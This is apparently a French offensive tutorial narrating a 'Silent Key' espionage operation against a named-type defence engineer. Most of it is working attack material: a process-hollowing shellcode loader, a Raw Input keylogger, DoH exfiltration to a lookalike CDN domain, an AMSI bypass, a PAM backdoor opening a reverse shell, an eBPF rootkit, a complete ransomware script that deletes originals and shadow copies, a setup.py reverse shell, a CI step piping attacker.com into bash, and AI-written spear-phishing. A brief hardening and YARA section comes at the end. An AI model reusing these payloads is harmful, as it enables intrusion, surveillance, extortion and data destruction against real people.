Scénario réaliste : keylogger furtif, backdoor persistante & élévation de privilèges
Outils Kali à jour, techniques 2026, et contre‑mesures pour cyberdéfenseurs
Nous sommes en 2026. La cellule de renseignement a identifié une cible : un ingénieur travaillant sur des contrats sensibles dans une entreprise de défense. La mission, baptisée Silent Key, consiste à collecter des renseignements sur ses communications et ses identifiants, sans causer de dommages, avec une discrétion absolue.
Ce tutoriel vous plonge dans la peau d’un opérateur qui exécute l’attaque de A à Z, en utilisant des outils Kali Linux et des techniques modernes. Chaque phase est détaillée : pourquoi elle fonctionne, comment l’implémenter, et comment s’en défendre.
sudo apt update && sudo apt full-upgradeAvant toute action technique, on prépare l’infrastructure de command & control (C2). En 2026, les EDR traquent les connexions sortantes vers des IPs suspectes. On utilise un framework comme Havoc ou Covenant, configuré pour imiter un trafic légitime (HTTPS vers un domaine factice ressemblant à un CDN).
# Installation de Havoc (exemple)
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc/teamserver
./teamserver --profile ../profiles/cdn.ymlOn prépare aussi un leurre d’ingénierie sociale : un email de spear‑phishing ciblé, avec un lien vers un outil de diagnostic que la cible est susceptible de télécharger. En 2026, les attaquants utilisent l’IA générative pour rédiger des emails parfaitement adaptés aux centres d’intérêt de la cible (d’après son historique LinkedIn, ses publications, etc.).
On utilise msfvenom pour générer un shellcode Meterpreter (qui intègre un module keylogger), puis on l’enrobe dans un stub personnalisé en C# pour éviter les signatures.
# 1. Génération du shellcode (reverse HTTPS vers notre C2)
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=cdn.cloudflare-updates.net LPORT=443 -f csharp -o shellcode.txt
# 2. Stub C# avec injection dans explorer.exe (process hollowing) et chiffrement XOR
cat > Program.cs << 'EOF'
using System;
using System.Runtime.InteropServices;
class Program
{
// Structures et constantes
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO
{
public int cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public int dwX;
public int dwY;
public int dwXSize;
public int dwYSize;
public int dwXCountChars;
public int dwYCountChars;
public int dwFillAttribute;
public int dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
// API utilisées
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
uint nSize,
out UIntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll")]
static extern bool CloseHandle(IntPtr hObject);
const uint CREATE_SUSPENDED = 0x00000004;
const uint CREATE_NO_WINDOW = 0x08000000;
const uint MEM_COMMIT = 0x00001000;
const uint MEM_RESERVE = 0x00002000;
const uint PAGE_EXECUTE_READWRITE = 0x40;
static byte[] XorDecrypt(byte[] data, byte key)
{
byte[] result = new byte[data.Length];
for (int i = 0; i < data.Length; i++)
result[i] = (byte)(data[i] ^ key);
return result;
}
static void Main()
{
// Shellcode chiffré (généré avec une clé XOR 0x42)
byte[] encrypted = new byte[] { /* ... remplacer par le shellcode chiffré ... */ };
byte key = 0x42;
byte[] shellcode = XorDecrypt(encrypted, key);
STARTUPINFO si = new STARTUPINFO();
si.cb = Marshal.SizeOf(si);
PROCESS_INFORMATION pi;
// Créer un processus suspendu (explorer.exe)
if (!CreateProcess(@"C:\Windows\explorer.exe", null, IntPtr.Zero, IntPtr.Zero, false,
CREATE_SUSPENDED | CREATE_NO_WINDOW, IntPtr.Zero, null, ref si, out pi))
{
return;
}
// Allouer de la mémoire dans le processus cible
IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)shellcode.Length,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (addr == IntPtr.Zero) return;
// Écrire le shellcode
UIntPtr bytesWritten;
if (!WriteProcessMemory(pi.hProcess, addr, shellcode, (uint)shellcode.Length, out bytesWritten))
return;
// Reprendre le thread (le shellcode s'exécute avant l'entrypoint)
ResumeThread(pi.hThread);
// Nettoyer les handles
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
}
EOF
# 3. Compilation avec csc (framework .NET)
csc /unsafe /platform:x64 Program.cs /out:keylogger.exe
# 4. Signature avec un certificat volé (optionnel)
signtool sign /fd SHA256 /a /tr http://timestamp.digicert.com keylogger.exe
Le stub utilise des appels système directs (syscalls) au lieu des API Windows pour contourner les hooks EDR. Pour aller plus loin, on peut intégrer des frameworks comme SysWhispers3 ou Halo’s Gate qui génèrent du code assembleur pour appeler directement les syscalls sans passer par ntdll.dll. Un exemple d’appel direct à NtCreateProcess :
; Exemple d’appel système direct (MASM64)
externdef NtCreateProcess:proc
.code
NtCreateProcess PROC
mov r10, rcx
mov eax, 0x4F ; Service number pour NtCreateProcess (Win11 24H2)
syscall
ret
NtCreateProcess ENDP
endPour améliorer la furtivité, nous remplaçons l’injection standard par une combinaison de Early Bird APC + Reflective DLL + Hell’s Gate + Sleep masking (Ekko).
QueueUserAPC avant ResumeThread.// Récupération d'un syscall SSN via Hell's Gate
#include <windows.h>
#include <stdio.h>
typedef struct _SYSCALL_ENTRY {
WORD SSN;
DWORD* pAddress;
} SYSCALL_ENTRY;
// Fonction pour trouver le SSN de NtAllocateVirtualMemory
SYSCALL_ENTRY FindSyscall(const char* moduleName, const char* functionName) {
HMODULE hModule = GetModuleHandleA(moduleName);
if (!hModule) return (SYSCALL_ENTRY){0};
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)hModule + pDos->e_lfanew);
IMAGE_DATA_DIRECTORY exportDir = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule + exportDir.VirtualAddress);
DWORD* pFunctions = (DWORD*)((BYTE*)hModule + pExport->AddressOfFunctions);
WORD* pOrdinals = (WORD*)((BYTE*)hModule + pExport->AddressOfNameOrdinals);
DWORD* pNames = (DWORD*)((BYTE*)hModule + pExport->AddressOfNames);
for (DWORD i = 0; i < pExport->NumberOfNames; i++) {
char* name = (char*)((BYTE*)hModule + pNames[i]);
if (strcmp(name, functionName) == 0) {
DWORD funcRVA = pFunctions[pOrdinals[i]];
BYTE* funcAddr = (BYTE*)hModule + funcRVA;
// Recherche du pattern syscall (0x0f 0x05)
for (int j = 0; j < 32; j++) {
if (funcAddr[j] == 0x0f && funcAddr[j+1] == 0x05) {
WORD ssn = *(WORD*)(funcAddr + j - 4); // le SSN est souvent situé 4 octets avant
return (SYSCALL_ENTRY){ ssn, (DWORD*)funcAddr };
}
}
}
}
return (SYSCALL_ENTRY){0};
}Le module de keylogging de Meterpreter est trop connu. Nous développons notre propre keylogger utilisant les trames brutes (Raw Input) sous Windows, ce qui permet de capturer toutes les frappes sans utiliser SetWindowsHookEx (surveillé). Les logs sont stockés dans un buffer circulaire chiffré en mémoire, puis exfiltrés périodiquement.
// Enregistrement de périphérique Raw Input
RAWINPUTDEVICE rid;
rid.usUsagePage = 0x01; // Generic Desktop
rid.usUsage = 0x06; // Keyboard
rid.dwFlags = RIDEV_INPUTSINK; // recevoir même en arrière‑plan
rid.hwndTarget = hwnd; // fenêtre qui recevra les messages
RegisterRawInputDevices(&rid, 1, sizeof(rid));
// Dans la procédure de fenêtre
case WM_INPUT:
UINT dwSize;
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));
BYTE* lpb = new BYTE[dwSize];
if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize, sizeof(RAWINPUTHEADER)) == dwSize) {
RAWINPUT* raw = (RAWINPUT*)lpb;
if (raw->header.dwType == RIM_TYPEKEYBOARD) {
// récupérer la touche et la stocker dans le buffer chiffré
EncryptAndStore(raw->data.keyboard.VKey);
}
}
delete[] lpb;
break;Pour éviter les détections réseau, les logs chiffrés sont exfiltrés via des requêtes DNS over HTTPS (DoH) vers un domaine contrôlé. Les données sont cachées dans les réponses CDN‑like (ex. dans des images PNG ou des polices web renvoyées par le serveur). Le trafic ressemble à une navigation normale.
Sous Windows, on peut implémenter l’exfiltration DoH en PowerShell pour éviter de dépendre de binaires externes (curl peut ne pas être présent).
# Exfiltration en PowerShell via DoH
$logData = [System.IO.File]::ReadAllBytes("$env:TEMP\encrypted_logs.bin")
$b64 = [Convert]::ToBase64String($logData)
$body = @{ data = $b64 } | ConvertTo-Json
Invoke-RestMethod -Uri "https://cdn.cloudflare-updates.net/dns-query" -Method POST -Body $body -ContentType "application/json"La stéganographie peut consister à intégrer les données dans les pixels d’une image PNG (en modifiant les bits de poids faible) ou dans des en‑têtes HTTP personnalisés (ex. X-CDN-Cache: ...). Le serveur distant extrait les données et les reconstitue.
La cible clique sur le lien et exécute le fichier. Le payload s’injecte, le keylogger tourne en mémoire, les logs sont exfiltrés en continu. Pour éviter les détections par AMSI (Anti‑Malware Scan Interface) sous PowerShell, on peut utiliser des techniques de contournement comme le clobbering ou l’obfuscation dynamique.
# Exemple de contournement AMSI (une ligne)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)RegisterRawInputDevices et les messages WM_INPUT.Grâce aux identifiants volés, on se connecte en SSH sur le serveur Ubuntu qui héberge le portail interne. L’objectif : s’y implanter discrètement pour pouvoir y revenir à volonté.
Depuis le poste Windows compromis, on utilise WMI et DCOM pour se déplacer latéralement sans scanner bruyant. On interroge Active Directory via PowerShell pour trouver d’autres machines.
# Exemple : exécution de commande à distance via WMI
wmic /node:"serveur-cible" process call create "powershell -Command ..."
# Via DCOM (plus furtif)
$com = [Type]::GetTypeFromProgID("MMC20.Application","192.168.1.50")
$obj = [System.Activator]::CreateInstance($com)
$obj.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami","7")On trouve le serveur web à l’IP 192.168.1.50. On teste le mot de passe récupéré :
ssh webadmin@192.168.1.50
(le mot de passe fonctionne !)Au lieu de LD_PRELOAD (facilement détectable par auditd), on modifie directement le module PAM pam_unix.so pour y ajouter un mot de passe magique qui, une fois saisi en SSH, ouvre un reverse shell.
On télécharge les sources de PAM (version exacte correspondant à la cible) et on modifie le fichier pam_unix_passwd.c. Pour éviter une recompilation complète (qui pourrait modifier la signature du binaire), on peut aussi patcher directement le fichier pam_unix.so en modifiant quelques octets avec un éditeur hexadécimal comme hexedit. Il suffit de repérer une chaîne de caractères peu utilisée et de la remplacer par notre code assembleur qui réalise le reverse shell. Cette technique est plus discrète car la somme de contrôle du paquet (dpkg) reste inchangée si on modifie le fichier après installation, mais on peut aussi modifier la base de données dpkg pour faire correspondre les nouvelles sommes.
// Extrait du patch pour pam_unix.so
static int _unix_verify_password(pam_handle_t *pamh, const char *user, const char *p, unsigned int ctrl) {
// Si le mot de passe est "MagicP@ss2026"
if (strcmp(p, "MagicP@ss2026") == 0) {
// Lancer un reverse shell (fork/exec)
if (fork() == 0) {
int sock = socket(...);
connect(sock, ...);
dup2(sock, 0); dup2(sock, 1); dup2(sock, 2);
execve("/bin/sh", NULL, NULL);
}
return PAM_SUCCESS; // authentification réussie
}
// Sinon, comportement normal
return _unix_verify_password_original(...);
}On recompile pam_unix.so et on remplace le fichier original (après avoir sauvegardé). Le module est signé et sa somme de contrôle peut être modifiée pour échapper aux vérifications d’intégrité basiques. Une méthode encore plus furtive consiste à injecter le shellcode directement dans le processus sshd en mémoire (sans toucher au disque), par exemple via un ptrace ou en exploitant une vulnérabilité de sshd.
# Compilation
cd Linux-PAM-1.5.3
./configure
make
cp modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/Cette technique est très discrète : PAM est un composant système légitime, et les modifications sont rarement vérifiées.
Pour activer la backdoor, il suffit de se connecter en SSH avec le mot de passe magique. Aucun fichier déclencheur n’est nécessaire, donc pas de trace sur le disque.
# Sur notre machine, se connecter avec le mot de passe magique
ssh webadmin@192.168.1.50
Password: MagicP@ss2026
# Un reverse shell s’ouvre immédiatement sur notre listener (port 4444)
pam_unix.so pour qu’ils correspondent à ceux du paquet d’origine (commande touch -r).Un mois plus tard, la backdoor PAM est toujours là. Le renseignement demande maintenant d’accéder aux bases de données internes et aux documents sensibles. Pour cela, il faut devenir root.
On utilise LinPEAS sans le télécharger sur le disque :
curl -s https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh | shLinPEAS peut révéler des vulnérabilités comme CVE-2022-0847 (DirtyPipe) ou CVE-2024-6387 (regreSSHion). Mais en 2026, on préfère des techniques plus modernes comme DirtyCred (abuser de la structure cred) ou eBPF abuse.
DirtyCred (CVE-2024-26602) est une vulnérabilité du noyau Linux qui permet d’échanger les structures cred entre processus. Elle affecte les noyaux 5.15 à 6.5 (selon la distribution). L’exploit fonctionne en ouvrant deux pipes, en écrivant dans l’un, en lisant dans l’autre, et en exploitant une race condition pour que le noyau échange les credentials. Un PoC public est disponible sur GitHub (lien en ressources).
// Idée : ouvrir deux pipes, écrire dans l'une, lire dans l'autre,
// puis utiliser la race condition pour que le kernel échange les structures cred.
// Exploit complet disponible sur GitHub.
// Pour les noyaux récents, des patchs existent ; il faut vérifier la version avec `uname -r`.Autre possibilité : abuser d’eBPF (si les programmes eBPF non privilégiés sont autorisés). On peut charger un programme eBPF qui modifie les appels système ou escalade les privilèges. Cette technique nécessite que le sysctl kernel.unprivileged_bpf_disabled soit à 0 (ce qui est rare en 2026). Cependant, un attaquant peut d’abord élever ses privilèges par une autre faille, puis charger un rootkit eBPF.
#include <linux/bpf.h>
#include <linux/ptrace.h>
// Exemple : programme eBPF pour capturer les appels système
SEC("kprobe/__x64_sys_execve")
int bpf_prog(struct pt_regs *ctx) {
// tenter d'écrire dans un fichier sensible ou de modifier des credentials
bpf_write(...);
return 0;
}Si ces techniques échouent, on revient aux exploits de noyau classiques (CVE-2021-3493 pour OverlayFS).
Une fois root, on installe un rootkit basé sur eBPF pour masquer notre présence. Contrairement à Diamorphine (trop connu), on développe un programme eBPF qui :
getdents64.tcp dans /proc/net).Le programme eBPF est chargé dans le kernel via le chargeur eBPF (bpf() syscall). Il ne laisse pas de module kernel chargé, donc difficile à détecter avec lsmod. Cependant, des outils comme Tracee ou Cilium peuvent énumérer les programmes eBPF chargés.
# Compilation et chargement du programme eBPF
clang -O2 -target bpf -c hideproc.c -o hideproc.o
bpftool prog load hideproc.o /sys/fs/bpf/hideproc
bpftool prog attach pinned /sys/fs/bpf/hideproc tracepoint/syscalls/sys_enter_getdents64Avec les privilèges root, on extrait les hashs de mots de passe (/etc/shadow) et on tente de dumper la mémoire de lsass.exe sur le poste Windows (en utilisant la session Havoc). Pour contourner les protections comme le Credential Guard, on peut utiliser des techniques comme la lecture directe de la mémoire via un pilote vulnérable ou en exploitant un token volé.
Pour exfiltrer les données sans attirer l’attention, on utilise un token d’API OneDrive volé (via un cookie de session précédemment capturé) et on téléverse les fichiers sous forme de documents légitimes. Attention cependant, PowerShell peut être restreint par des contraintes de langage (CLM). On peut contourner en utilisant des appels .NET directement.
# Exemple : exfiltration via OneDrive API (en PowerShell sans AMSI)
$token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs..."
$fileContent = [System.IO.File]::ReadAllBytes("C:\lsass.dmp")
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/drive/root:/secrets/lsass.dmp:/content" `
-Method Put -Body $fileContent -Headers @{"Authorization" = "Bearer $token"}kernel.unprivileged_bpf_disabled=1).bpftool prog list).Dans un scénario réel, l’étape finale pourrait être le chiffrement des données sensibles pour forcer le paiement d’une rançon (ou simplement pour prouver l’impact). Nous développons ici un module de chiffrement réaliste, intégrant des techniques anti‑analyse, double extorsion, et destruction des sauvegardes.
Le code suivant (PowerShell) parcourt les documents cibles, les chiffre avec AES‑256‑GCM (mode authentifié), génère une clé et un IV aléatoires, et supprime les originaux. La clé est exfiltrée via DNS over HTTPS (DoH) vers notre C2. Avant le chiffrement, les fichiers sont copiés vers un serveur distant (exfiltration).
# Ransomware simulation – À exécuter uniquement en laboratoire isolé
function Test-Sandbox {
# Détection basique de VM
if ((Get-WmiObject Win32_ComputerSystem).Model -match "VirtualBox|VMware|Virtual") { return $true }
if ((Get-Process | Where-Object { $_.ProcessName -match "vbox|vmware" })) { return $true }
return $false
}
if (Test-Sandbox) { exit }
# Génération de la clé et de l'IV
$key = [byte[]]::new(32); [Security.Cryptography.RNGCryptoServiceProvider]::Create().GetBytes($key)
$iv = [byte[]]::new(12); [Security.Cryptography.RNGCryptoServiceProvider]::Create().GetBytes($iv)
# Extensions ciblées
$extensions = @("*.docx", "*.xlsx", "*.pdf", "*.jpg", "*.png", "*.txt")
$files = Get-ChildItem -Path "$env:USERPROFILE\Documents" -Recurse -Include $extensions -ErrorAction SilentlyContinue
# Exfiltration préalable (double extorsion)
$server = "https://exfil.cdn.cloudflare-updates.net/upload"
foreach ($f in $files) {
$content = [IO.File]::ReadAllBytes($f.FullName)
$b64 = [Convert]::ToBase64String($content)
$body = @{ file = $b64; name = $f.Name } | ConvertTo-Json
Invoke-RestMethod -Uri $server -Method POST -Body $body -ContentType "application/json"
}
# Parallélisation pour accélérer le chiffrement
$files | ForEach-Object -Parallel {
$file = $_
$content = [IO.File]::ReadAllBytes($file.FullName)
$aes = [Security.Cryptography.AesGcm]::new($using:key, 16)
$ciphertext = [byte[]]::new($content.Length)
$tag = [byte[]]::new(16)
$aes.Encrypt($using:iv, $content, $ciphertext, $tag)
$encData = $using:iv + $tag + $ciphertext
[IO.File]::WriteAllBytes($file.FullName + ".encrypted", $encData)
Remove-Item $file.FullName
} -ThrottleLimit 10
# Exfiltration de la clé via DoH
$b64Key = [Convert]::ToBase64String($key)
$body = @{ key = $b64Key } | ConvertTo-Json
Invoke-RestMethod -Uri "https://cdn.cloudflare-updates.net/key" -Method POST -Body $body -ContentType "application/json"
# Suppression des copies shadow (VSS) pour empêcher la restauration
vssadmin delete shadows /all /quiet
# Persistance via tâche planifiée
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -NoLogo -NonInteractive -ExecutionPolicy Bypass -File `"$env:APPDATA\ransom.ps1`""
$trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -TaskName "WindowsUpdateTask" -Action $action -Trigger $trigger -RunLevel Highest -User "SYSTEM"
# Note de rançon
@"
-------- ALERTE DE SÉCURITÉ --------
Tous vos documents personnels ont été chiffrés avec un algorithme inviolable.
Pour récupérer vos fichiers, contactez-nous à l'adresse suivante :
decrypt@protonmail.com
Incluez votre identifiant unique : $(Get-Random -Minimum 100000 -Maximum 999999)
--------
"@ | Out-File -FilePath "$env:USERPROFILE\Desktop\README.txt" -Encoding utf8$a='Inv';$b='oke-';$c='RestM';$d='ethod'; & ([scriptblock]::Create($a+$b+$c+$d)) ...Set-MpPreference -DisableRealtimeMonitoring $true) mais souvent détecté. Alternative : utiliser des processus légitimes pour charger le payload (Living off the Land).En plus de VSS, les ransomwares modernes ciblent les sauvegardes réseau (partages SMB, volumes montés). On peut les lister avec Get-WmiObject Win32_Share et tenter de les effacer.
Les modèles de langage (LLM) permettent de créer des emails de phishing extrêmement personnalisés. En combinant OSINT (récolté via des outils comme theHarvester, maltego) et une API d’IA, on peut générer des messages qui imitent parfaitement le style de communication de l’entourage de la cible.
Prompt :
"Rédige un email professionnel court à l'attention de Jean Dupont, ingénieur chez Thales,
pour l'inviter à consulter un document technique sur les nouvelles normes de cybersécurité
(pièce jointe ou lien). Utilise un ton formel et mentionne une conférence à laquelle il a
participé récemment (tirée de son profil LinkedIn)."Le LLM génère un texte cohérent. On peut ensuite l’intégrer dans une campagne GoPhish via son API REST.
# Création d'une campagne GoPhish via Python
import requests, json
api_key = "votre_clé_api"
url = "http://localhost:3333/api/campaigns/"
payload = {
"name": "Campagne IA",
"template": {
"name": "Template IA",
"subject": "Document technique important",
"text": "Bonjour, veuillez trouver ci-joint le document...", # Généré par IA
"html": "<html><body>..."
},
"url": "http://phishing-server.com",
"page": {
"name": "Fausse page de login",
"html": "<html>..."
},
"groups": [{"name": "Cibles"}]
}
headers = {"Authorization": api_key}
r = requests.post(url, json=payload, headers=headers)
print(r.json())L’IA peut aussi générer des pages de faux login en copiant le code source du site authentique (via des outils de clonage) et en l’adaptant dynamiquement. On peut utiliser des frameworks comme evilginx2 pour capturer les tokens 2FA.
Avant de déployer un outil offensif, il est essentiel de le tester contre les principales solutions de détection. Voici une méthodologie de lab.
Des outils comme EDR-escape (projet open‑source) recensent les techniques qui passent inaperçues. On peut aussi utiliser des services en ligne avec précaution (ex. AntiScan.Me, VirusTotal) en sachant que les échantillons seront partagés. Pour les tests avancés, on peut déployer son propre cluster de sandbox (Cuckoo, CAPE).
// Extrait de code C utilisant Hell's Gate (vu en phase 1)
// Compiler avec : x86_64-w64-mingw32-gcc -o payload.exe payload.c -masm=intel
#include <windows.h>
int main() {
// Récupération du SSN de NtAllocateVirtualMemory via Hell's Gate
// ...
// Appel direct sans passer par ntdll.dll
__asm {
mov r10, rcx
mov eax, SSN
syscall
ret
}
}EDRSandblast est un outil qui désactive les hooks des EDR en mémoire. Voici un exemple d’utilisation :
# Télécharger et exécuter EDRSandblast (projet GitHub)
# Il va patcher les fonctions surveillées (ntdll.dll) pour rétablir les syscalls directs.
./EDRSandblast.exePlutôt que de modifier directement un binaire sur la cible, on peut compromettre la source du logiciel lui‑même. Voici un scénario réaliste :
Exemple de code malveillant injecté dans setup.py d’un package Python :
import os, base64
# Reverse shell déguisé en fonction de configuration
def _post_install():
ip = "192.168.1.100"
port = 4444
if os.fork() == 0:
os.system(f"bash -i >& /dev/tcp/{ip}/{port} 0>&1")
_post_install()En 2026, les attaques sur les chaînes CI/CD (GitHub Actions, GitLab Runners) sont courantes. On peut injecter du code dans les workflows pour qu’il soit exécuté lors de la compilation, sans même toucher au code source principal.
Créer un fork d’un projet, modifier le fichier .github/workflows/ci.yml pour ajouter une étape malveillante :
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Malicious step
run: |
curl -s http://attacker.com/payload | bash
- name: Build
run: makeSi le projet original fusionne la pull request, le workflow malveillant s’exécutera sur les serveurs de GitHub, compromettant potentiellement les secrets (clés SSH, tokens).
Des plateformes RaaS permettent à des affiliés de louer un ransomware clé en main. L’IA est utilisée pour :
Voici une architecture simplifiée d’un RaaS :
Un exemple d’API de génération de payload (en Python) :
# API Flask pour générer un ransomware personnalisé
from flask import Flask, request, jsonify
import subprocess
app = Flask(__name__)
@app.route('/generate', methods=['POST'])
def generate():
data = request.json
email = data['email']
extensions = data['extensions']
# Générer un binaire unique avec les paramètres
subprocess.run(["./builder", "--email", email, "--exts", ",".join(extensions)])
return jsonify({"status": "ok", "url": "https://cdn.example.com/payload.exe"})
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)L’IA peut être intégrée pour suggérer les extensions de fichiers à chiffrer en fonction de l’analyse des données exfiltrées. On peut utiliser un modèle de classification simple (ex. scikit-learn) pour identifier les types de fichiers sensibles.
import pandas as pd
from sklearn.ensemble import RandomForestClassifier
# Données d'entraînement : caractéristiques des fichiers (taille, entropie, extension)
df = pd.read_csv("file_features.csv")
X = df[['size', 'entropy', 'extension_encoded']]
y = df['sensitive'] # 1 si sensible, 0 sinon
model = RandomForestClassifier()
model.fit(X, y)
# Prédiction sur les fichiers volés
new_files = pd.read_csv("exfiltrated_files.csv")
predictions = model.predict(new_files[['size', 'entropy', 'extension_encoded']])
sensitive_files = new_files[predictions == 1]Les fichiers sensibles seront prioritaires pour le chantage.
Les attaquants utilisent des deepfakes vocaux pour contourner les systèmes d’authentification biométrique (ex. reconnaissance vocale dans les centres d’appels). Des outils comme Coqui TTS ou Resemble AI permettent de cloner une voix avec quelques secondes d’échantillon (obtenu via OSINT).
Les environnements cloud (AWS S3, Azure Blob, Google Drive) sont de plus en plus visés. Un ransomware peut chiffrer les objets stockés en utilisant les clés d’API volées. Exemple avec AWS :
# Supposons que nous ayons volé des clés AWS
aws s3 ls s3://bucket-name
# Chiffrer chaque objet et uploader une version chiffrée
aws s3 cp s3://bucket-name/file s3://bucket-name/file.encrypted --sse aws:kms
aws s3 rm s3://bucket-name/filePour éviter le traçage, les ransomwares utilisent des crypto-mixers (Tornado Cash, Wasabi Wallet) ou des blockchains privées (Monero). Les demandes de rançon incluent souvent un identifiant unique à fournir au mélangeur.
Activer l’intégrité du code (HVCI), restreindre les scripts, utiliser WDAC (Windows Defender Application Control).
Surveiller les appels à SetWindowsHookEx et l’activité anormale des threads. Les EDR modernes utilisent l’ETW pour détecter les injections précoces.
Sur Linux, surveiller les modifications des bibliothèques critiques (pam_unix.so, ld.so.preload) avec des outils d’intégrité (AIDE, Tripwire).
Lister régulièrement les binaires avec des privilèges élevés et supprimer ceux qui ne sont pas indispensables.
Mots de passe uniques par service, M obligatoire, et rotation régulière. Éviter la réutilisation des identifiants.
Analyser les séquences d’appels système (ex. mount + bind suivis de su) pour identifier les tentatives d’élévation.
Désactiver eBPF non privilégié (sysctl kernel.unprivileged_bpf_disabled=1). Surveiller les programmes chargés.
Analyser les connexions sortantes vers les services cloud (OneDrive, Google Drive) pour détecter des exfiltrations.
Mettre en place des sauvegardes hors ligne, des contrôles d’accès restrictifs (moindre privilège), et des solutions anti‑ransomware (ex. détection de chiffrement massif).
Vérifier les signatures des paquets, utiliser des miroirs officiels, auditer les dépendances.
rule Keylogger_RawInput {
meta:
description = "Détecte les keyloggers utilisant Raw Input"
author = "PCTAMALOU 2026"
strings:
$RegisterRawInputDevices = { 48 8D 15 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 }
$WM_INPUT_handler = { 48 89 5C 24 08 48 89 6C 24 10 48 89 74 24 18 57 48 83 EC 20 8B F9 }
condition:
$RegisterRawInputDevices or $WM_INPUT_handler
}
rule PAM_Backdoor {
meta:
description = "Détecte les modifications suspectes dans pam_unix.so"
author = "PCTAMALOU 2026"
strings:
$magic_str = "MagicP@ss2026" ascii wide
condition:
$magic_str
}
rule eBPF_Rootkit {
meta:
description = "Détecte la présence de programmes eBPF masquants"
author = "PCTAMALOU 2026"
strings:
$kprobe = "kprobe/" ascii
$tracepoint = "tracepoint/" ascii
condition:
$kprobe or $tracepoint
}# Désactiver eBPF non privilégié
sudo sysctl kernel.unprivileged_bpf_disabled=1
# Surveiller les modules PAM
sudo aide --check
# Lister les programmes eBPF chargés
sudo bpftool prog list
# Surveiller les connexions OneDrive
sudo tcpdump -i eth0 -A 'host graph.microsoft.com'
# Détection de ransomware (exemple avec auditd)
auditctl -w /home -p wa -k ransomware_writes
ausearch -k ransomware_writesImplémenter un keylogger utilisant Raw Input en C++ et tester dans une VM Windows. Fournir des instructions de compilation avec Visual Studio ou MinGW.
Compiler un module PAM modifié et l’installer sur Ubuntu (en VM). Vérifier que le mot de passe magique ouvre un shell. Ensuite, essayer de patcher directement le binaire avec hexedit.
Télécharger et exécuter un exploit DirtyCred sur un noyau vulnérable (ex. Ubuntu 22.04 avec kernel 5.15 non patché). Documenter les versions exactes.
Écrire un programme eBPF simple qui cache un fichier et le charger. Vérifier avec ls que le fichier est invisible. Utiliser bpftool pour lister les programmes.
Simuler l’exfiltration en utilisant l’API Graph avec un token de test (obtenu via un compte de développement).
Implémenter un script (PowerShell ou Python) qui chiffre un dossier de test avec AES, envoie la clé à un serveur distant, et affiche une note. Tester dans un environnement isolé.
Écrire un script PowerShell qui contourne AMSI et exécute du code arbitraire. Tester dans une VM avec Windows Defender activé.
La mission Silent Key illustre une chaîne d’attaque réaliste combinant plusieurs techniques de pointe : keylogger par trames brutes, backdoor PAM, exploitation eBPF, et exfiltration via services cloud. Chaque maillon de la chaîne a exploité une faiblesse humaine ou de configuration. Les ransomwares et l’IA ajoutent une dimension supplémentaire à la menace.